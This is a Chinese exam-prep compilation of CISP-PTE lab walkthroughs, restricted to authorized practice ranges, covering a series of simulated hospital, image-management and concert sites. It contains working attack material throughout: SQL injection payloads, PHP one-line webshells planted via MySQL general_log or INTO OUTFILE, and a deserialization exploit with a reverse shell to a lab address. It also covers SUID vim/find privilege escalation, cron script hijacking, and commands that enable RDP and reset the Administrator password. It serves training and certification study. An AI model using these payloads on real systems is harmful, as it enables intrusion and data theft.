这是一份 CISP-PTE 综合模拟题 整理稿
只用于授权靶场、课程实验和备考复盘。不要拿去打未授权目标。
flag 常见格式:flag_nisp_xxxxxx 或 flagN_nisp_xxxxxx。
目录
- 综合模拟题 1:梅奥诊所 / 档案查询
- 综合模拟题 2:125 端口 Basic + phpMyAdmin
- 综合模拟题 3:机智图片管理系统(Basic 入口)
- 综合模拟题 4:同一套系统,SQL 万能密码
- PTE2609 jy 演唱会
- PTE2609 与杉:Squid 代理 + ThinkPHP
- PTE2609 傲梅门诊:文件读取 + 挂号系统
- PTE2609 图片
- PTE2609 安达核酸
题单总览
| # | 题目 | 环境印象 | 攻击链 |
|---|---|---|---|
| 1 | 综合模拟题 1 | Linux,梅奥诊所,80 + 6721 | FTP 匿名读配置 → MySQL → 上传 + 文件包含 → find 读 /root |
| 2 | 综合模拟题 2 | Windows,Apache 在 125 端口 | Basic 爆破 → robots / phpMyAdmin → general_log 写马 → 开 3389 |
| 3 | 综合模拟题 3 | Windows,机智图片管理系统 | Basic 爆破 → 凭据复用 → 上传绕过 → SYSTEM → 开 3389 |
| 4 | 综合模拟题 4 | 同系统,不同入口 | SQL 万能密码 → 上传 → 3389 已开 → 回收站 |
| 5 | PTE2609 jy 演唱会 | Linux | .git 泄露 / 注入 → 反序列化 RCE → SUID vim |
| 6 | PTE2609 与杉 | Squid 代理 + ThinkPHP | 代理入网 → 弱口令 → 文件管理写马 → sudo ALL |
| 7 | PTE2609 傲梅门诊 | Linux 挂号系统 | 非常规端口文件读取 → 改库登后台 → 上传 + 包含 → find |
| 8 | PTE2609 图片 | Windows + phpMyAdmin | root:root → 改 MD5 → 上传 → 3389 / 回收站 |
| 9 | PTE2609 安达核酸 | Linux,FTP + 文件读取 | Referer 绕过读样本 → FTP → phpMyAdmin 写马 → cron 脚本 |
反复出现的手法
存活判断
很多环境 VPN 不转发 ICMP。ping 不通不代表主机挂了,看 TCP 端口和服务。
全端口 + 版本识别
不要只扫 80/443。125、6721、12632、18391、59312 这类端口经常才是真正的题面。看到可疑端口用 -sV 确认真实服务。
HTTP Basic 认证
载荷是 base64(user:pass),Burp 用 custom iterator:用户名 + : + 密码,再做 base64。题库里高频账密是 admin:qwerty。全站套了 Basic 之后,目录扫描和蚁剑都要带 Authorization,否则 401。
phpMyAdmin / general_log 写马
后台给了绝对路径之后,不一定要 INTO OUTFILE(经常撞 secure_file_priv)。把 general_log 指到 Web 目录,执行一条带一句话的 SELECT,日志文件就是 shell。
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = 'C:/phpstudy_pro/WWW/a.php';
SELECT '<?php @eval($_POST["cmd"]);?>';
Windows 收尾
Web 进程经常已经是 NT AUTHORITY\SYSTEM。确认 3389 是否在听:没开就改注册表 + 防火墙 + TermService,开了就直接改 Administrator 密码进桌面。第三枚 flag 经常在回收站。
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=TCP localport=3389
sc config TermService start= auto
net start TermService
net user Administrator Admin123456
Linux 收尾
常见三条:sudo -l 看到 NOPASSWD: ALL;find / -perm -4000 看到 find / vim;可写的计划任务脚本。上传目录经常是随机名,先包含 index.php / model/*_upload.php 再拼路径。
综合模拟题 1:梅奥诊所 / 档案查询
目标 192.168.5.100。
信息收集
21/tcp ftp vsftpd 3.0.2
22/tcp ssh OpenSSH 7.4
80/tcp http Apache 2.4.41 (Ubuntu) 梅奥诊所在线挂号系统
111/tcp rpcbind
3306/tcp mysql 5.7.33
6721/tcp http Apache 档案查询系统
MySQL 弱口令没打通,服务版本也没搜到现成洞。FTP 允许匿名登录,pub 可写。匿名下载到 config.php:
host: localhost
database: patient
username: root
password: Admin000
flag1:连库翻表
用 root / Admin000 连 3306。库里能拿到 flag1,还能看到管理员 hash:
zhangsan
e10adc3949ba59abbe56e057f20f883e # 123456


登管理员后台拿到 key2。

目录扫描扫到 /phpinfo.php,网站真实路径类似:
/var/www/html/PIzABXDg/
80 端口后台有档案上传,上传后页面没反应,先不要死磕这个回显。

6721:POST 文件包含
http://192.168.5.100:6721/api/query_pdf.php
POST archive=
有效用户提示是 user、root。

用伪协议读自身:
archive=php://filter/convert.base64-encode/resource=query_pdf.php
源码就是 include($archive)。再包含 80 端口站点的 index.php,路由规则是:
$operate_file = 'model/'.$g_m."_".$g_o.".php";
上传页 ?m=order&o=upload 对应 model/order_upload.php。上传逻辑只看扩展名是不是 pdf,目录是:
CISP-PTE-1413/
把一句话存成 .pdf 上传,再在 6721 包含:
../../PIzABXDg/CISP-PTE-1413/shell.pdf

也可以再写一个生成器,在 api/shell.php 落马,蚁剑连接。
网站目录拿到:
flag_nisp_721fa4
提权
SSH 对 user 爆破提示目标不支持密码认证。www-data 很多命令不可用,nc / bash -i / python 也不顺。

SUID 有 find。蚁剑终端对 find 提权没反应,原笔记最后是写 PHP,通过包含去执行:
<?php
$cmd2 = "find /root -name '*flag*' -exec cat {} \\; 2>/dev/null";
system($cmd2);
?>

读到:
/root/flag.txt
flag_nisp_6cf0b8

本地直接提权当时没走通。

综合模拟题 2:125 端口 Basic + phpMyAdmin
| 项目 | 内容 |
|---|---|
| 地址 | 192.168.5.100 |
| 环境 | Windows + phpStudy + Apache 2.4.39 |
| 链 | 非常规端口 → Basic → 目录扫描 → phpMyAdmin → MD5 后台 → general_log → 3389 |
端口
默认扫描 125 会标成 locus-map,-sV 之后才是 Apache,并且带 Basic,realm 直接写 Username is admin。135 + 49152–49157 是 Windows 特征。3306 开着。
Basic 爆破
Burp custom iterator + base64,拿到 admin:qwerty。


认证后只是静态页,继续带认证头做目录扫描,扫到 robots.txt:
User-agent: *
Disallow: /news/
# key6:5sdhe4ne

/news/index.php?id=5 用 sqlmap 没有注入。出现新路由后要重新抓包,带上 Cookie 再扫一层。

phpMyAdmin 进 ee 表:
flag_nisp_er5rfp
同时翻到后台账号:
admin : 1e4bdb57e02ef1b18e679b29600d22a1 # poilkj,mn
/news/system/ 登录后页面直接给出网站路径 C:/phpstudy_pro/WWW。

写马与 3389
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = 'C:/phpstudy_pro/WWW/a.php';
SELECT '<?php phpinfo(); ?>';
SELECT '<?php @eval($_POST["cmd"]);?>';

蚁剑必须加 Basic 头。网站目录:
flag_nisp_wfe32d
whoami 后开 3389、重置 Administrator,RDP 进桌面还原回收站:
flag_nisp_djk34b
| Flag | 位置 | 方式 |
|---|---|---|
| flag_nisp_er5rfp | MySQL ee 表 | phpMyAdmin |
| flag_nisp_wfe32d | 网站目录 | general_log |
| flag_nisp_djk34b | 桌面回收站 | RDP |
综合模拟题 3:机智图片管理系统(Basic 入口)
Windows + Apache + PHP + MySQL。VPN 不转 ICMP,3306 有 IP 白名单,远程直连报 ERROR 1130,攻击面回到 Web。

首页就是 Apache Basic。

Authorization: Basic YWRtaW46YWRtaW4=
解码是 admin:admin,不是正确答案。custom iterator 爆破得到 admin:qwerty。


flag1_nisp_dp86rc
源码说明这是「机智图片管理系统」。后台同一套 admin:qwerty,凭据复用,不必再开一轮字典。


上传提示「最大 1MB,类型只允许图片」。抓包改后缀即可。



蚁剑加 Authorization 头。

flag2_nisp_v2bc25
当前身份 NT AUTHORITY\SYSTEM,3389 未开。


上传开启脚本后改 Administrator 密码,RDP 进桌面,回收站:
flag3_nisp_cdk674




| Flag | 位置 | 方式 |
|---|---|---|
| flag1_nisp_dp86rc | Basic 认证后页面 | admin:qwerty |
| flag2_nisp_v2bc25 | WWW 目录 | 上传改后缀 + 蚁剑 |
| flag3_nisp_cdk674 | 回收站 | 开 3389 → RDP |
综合模拟题 4:同一套系统,SQL 万能密码
目标 192.168.5.200。还是机智图片管理系统,入口换成登录框。flag 格式 flag1_nisp_xxxxxx。

密码爆破无果后改万能密码:
用户名:admin' or '1'='1
密码: admin' or '1'='1
登录后密码字段附近:
flag1_nisp_chp983

上传几乎无限制:jpg 末尾追加一句话,后缀改 .php。


flag2_nisp_ad52qc
当前已是 SYSTEM,3389 已经在听,直接改密进桌面。

flag3_nisp_93hr5d
PTE2026 jy 演唱会
目标 192.168.5.25。三问:数据库、服务器、/root。
数据库里的 key
目录扫描到 .git。GitHack 或手动解 zlib、git cat-file -p 都能还原访客账密:
visitor@jyconcert.cisp
E9nDnfd09ZsNkutaun
python -c "import sys,zlib; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" < <object>
git cat-file -p <dir>/<object>


登录后 URL 带 id=,sql注入:
id=1'
id=1' order by 6--+
id=-1' union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--+
id=-1' union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database() and table_name='key'--+
id=-1' union select 1,id,3,4,5,6 from `key`--+


服务器里的 key
sqlmap 跟请求走库:
sqlmap -r sqlexp --dbs --batch
sqlmap -r sqlexp -D personal --tables --batch
sqlmap -r sqlexp -D personal -T site_info --columns --batch
sqlmap -r sqlexp -D personal -T site_info -C site_link,site_name --dump --batch




得到 http://cdj4zueshi84x5fq75.cisp(在线 PING)。要写 hosts 才能解析。

除了 127.0.0.1 几乎无回显。目录扫描到 /index.php.bak:
class pingTest {
public $ipAddress = "127.0.0.1";
public $isValid = False;
public $output = "";
function validate() {
if (!$this->isValid) {
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP)) {
$this->isValid = True;
}
}
$this->ping();
}
public function ping() {
if ($this->isValid) {
$this->output = shell_exec("ping -c 3 $this->ipAddress");
}
}
}
if (isset($_POST['obj'])) {
$pingTest = unserialize(urldecode($_POST['obj']));
} else {
$pingTest = new pingTest;
}
$pingTest->validate();
考点是 PHP 反序列化:把 isValid 直接设成 true,跳过 IP 校验,ipAddress 里拼命令。
<?php
class pingTest {
public $ipAddress = "127.0.0.1";
public $isValid = False;
public $output = "";
}
$obj = new pingTest();
$obj->ipAddress = '127.0.0.1 & /bin/sh -i >& /dev/tcp/10.8.0.6/1234 0>&1';
$obj->isValid = True;
echo serialize($obj);
反弹后看 ping 目录下 ssh.php:
concert
2OoIRPc8nMts4ylnyn
/www/key7.cisp
flag_nisp_793380
/root
sudo -l 无结果。SUID 列表里有 /usr/bin/vim:
vim -c ':py import os;os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'
/root/key8.cisp
flag_nisp_798349

PTE2026 与杉:Squid 代理 + ThinkPHP
目标 192.168.15.168。题面要求浏览器走靶机 Squid:默认 22、3128。先把代理配上,再扫、再打 Burp。


burp 扫到端口 18391,ThinkPHP。弱口令 admin:admin 进后台,给自己加权限。




flag_nisp_c4ac4c
第二问 key 在数据库。文件管理后台 admin:admin@123 (信息泄露)。
robots.txt 指向 /FileManage/filemanager.php。



有写文件权限,直接建 1.php:
<?php @eval($_POST[1]); ?>
站点里有 phpMyAdmin,路径:
http://192.168.15.168:18391/phpMyAdmin_4.9.9/
root:root 进不去。网站目录里翻到:
root
NlVYmvPsYF0Z5acQ



flag_nisp_85ee02
第三问 /root。蚁剑终端被禁命令,换插件执行。

sudo -l
# (ALL) ALL
# (ALL) NOPASSWD: ALL
sudo cat /root/key.cisp
flag_nisp_63f29b
sudo -i 之后 id 仍是 www,是因为没真正切到 root shell;用 sudo cat 读文件即可。
| Flag | 位置 | 方式 |
|---|---|---|
| flag_nisp_c4ac4c | ThinkPHP 后台 | Squid + admin:admin |
| flag_nisp_85ee02 | 数据库 | 文件管理写马 → 翻配置进 phpMyAdmin |
| flag_nisp_63f29b | /root/key.cisp | sudo cat |
PTE2026 傲梅门诊:文件读取 + 挂号系统
目标 192.168.5.10。页面是挂号 / 预约,文件名写「傲梅门诊」,配置常量里的系统名是「梅奥诊所在线挂号系统」。和模拟题 1 同一类题,链路更完整。


目录扫描:/index.php 302 到 ?m=login。

内部有万能用户,密码不对,先放下。

全端口多出 12632,是文件读取。

先读 nginx 配置:
/etc/nginx/nginx.conf
root /usr/share/nginx/TYkwmszrf;
再读 config.php:
archive=php://filter/convert.base64-encode/resource=/usr/share/nginx/TYkwmszrf/config.php
define('HOSTNAME','localhost');
define('DATEBASE','guahao');
define('USERNAME','hospital');
define('PASSWORD','SMwe@NgbE6kC4d');
define('DB_PRE','guahao_');
连库后把 Superman 密码改成 123456 的 MD5,进入系统。

flag_nisp_137972
第二问网站路径下的 key。上传 shell.pdf 成功,但不知道目录。

包含 index.php 看到:
$operate_file = 'model/'.$g_m."_".$g_o.".php";
model/order_upload.php 里:
$target_dir = "UploadNvujWxzJCIAZLIa/";
if($fileType != "pdf") {
$info = "只允许上传PDF文件";
$uploadOk = 0;
}
于是得到文件上传目录为 UploadNvujWxzJCIAZLIa
文件读取处包含该 pdf,蚁剑连接,目录里有 key7.cisp。


flag_nisp_228bd6
第三问 /root。find / -perm -4000 有 find:
find /root/key8.cisp -exec cat {} \;
# 或
find . -exec /bin/bash -p \;
find /root -name "*.cisp" -type f -exec cat {} \;
flag_nisp_80d6a3
| Flag | 位置 | 方式 |
|---|---|---|
| flag_nisp_137972 | 后台 | 12632 读配置 → 改 Superman MD5 |
| flag_nisp_228bd6 | key7.cisp | 上传 pdf + 包含 |
| flag_nisp_80d6a3 | /root/key8.cisp | SUID find |
PTE2026 图片
目标 192.168.15.170。Windows 风格:phpMyAdmin、改 MD5、上传、3389、回收站。
目录扫描直接给出 /phpMyAdmin/、/admin_login.php、robots.txt。root:root 能进。

flag_nisp_f9z9yy
robots.txt → /picture_storage.sql:
INSERT INTO `system` (`sys_id`, `sys_user`, `sys_pass`, `sys_flag`) VALUES
(1, 'admin', 'd8578edf8458ce06fbc5bb76a58c5ca4', 1);
把 admin 密码改成 e10adc3949ba59abbe56e057f20f883e (123456的hash值)后登录,测上传:
Content-Disposition: form-data; name="file[]"; filename="shell.php"
Content-Type: image/jpeg
GIF89a
<?php @eval($_POST[1]);?>
蚁剑走 base64。



flag_nisp_pc3y8cb
开 3389、改密码,桌面垃圾桶:

flag_nisp_0wy9p5
| Flag | 位置 | 方式 |
|---|---|---|
| flag_nisp_f9z9yy | 数据库 | phpMyAdmin root:root |
| flag_nisp_pc3y8cb | 网站目录 | 改 MD5 → 上传 |
| flag_nisp_0wy9p5 | 桌面垃圾桶 | 开 3389 |
PTE2026 安达核酸



全端口:21、80、3306、59312。80 有信息泄露:FTP 登录需要用户手机号和身份证号。

59312 是样本查询 / 文件读取。直接访问提示恶意请求,加 Referer 绕过。



mid 参数是标本号的 MD5。AD100051 标本号能读到完整信息,利用该账户信息拿去登 FTP,拿到 key.cisp。


第二问同法看 68 号,用默认账密登 FTP,拿到数据库配置。目录扫描有 phpMyAdmin,直接登录。



第三问先看能不能写马:
SHOW VARIABLES LIKE '%secure_file_priv%';
返回空字符串,表示不限制路径:
SELECT '<?php @eval($_POST[1]); ?>' INTO OUTFILE '/var/www/html/1.php';
提权找可写脚本:
find / -type f -name "*.sh" -writable 2>/dev/null

控制 /app/xagent/xagent-daemon,等计划任务跑:
echo '#!/bin/bash' > /app/xagent/xagent-daemon
echo 'ls -la /root > /tmp/a.txt' >> /app/xagent/xagent-daemon
echo 'chmod 777 /tmp/a.txt' >> /app/xagent/xagent-daemon
# 等约 2 分钟
echo 'cat /root/key.cisp > /tmp/b.txt' >> /app/xagent/xagent-daemon
echo 'chmod 777 /tmp/b.txt' >> /app/xagent/xagent-daemon
cat /tmp/b.txt
附录:仿真综合实操
目标 192.168.15.100。三枚 flag 分别在访问入口、网页根目录、桌面。

phpMyAdmin 弱口令 admin:admin888。还能看到 /picture_storage.sql,以及 admin:qwerty。库里:
flag1_nisp_chp983

后台 hash:
admin:92540f9784483bf996869f9321dbb541
直接把密码更新成 123456 的 MD5:
echo -n "123456" | md5sum
# e10adc3949ba59abbe56e057f20f883e

登入后路径 C:/wamp/www。

SHOW VARIABLES LIKE 'general_log%';
SHOW VARIABLES LIKE 'secure_file_priv';
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = 'C:/wamp/www/a.php';
SELECT '<?php phpinfo(); ?>';
SELECT '<?php @eval($_POST["cmd"]);?>';
INTO OUTFILE 也可以试,但优先走 general_log。

蚁剑编码器选 base64。

flag2_nisp_ad52qc
开 3389,桌面
flag3_nisp_93hr5d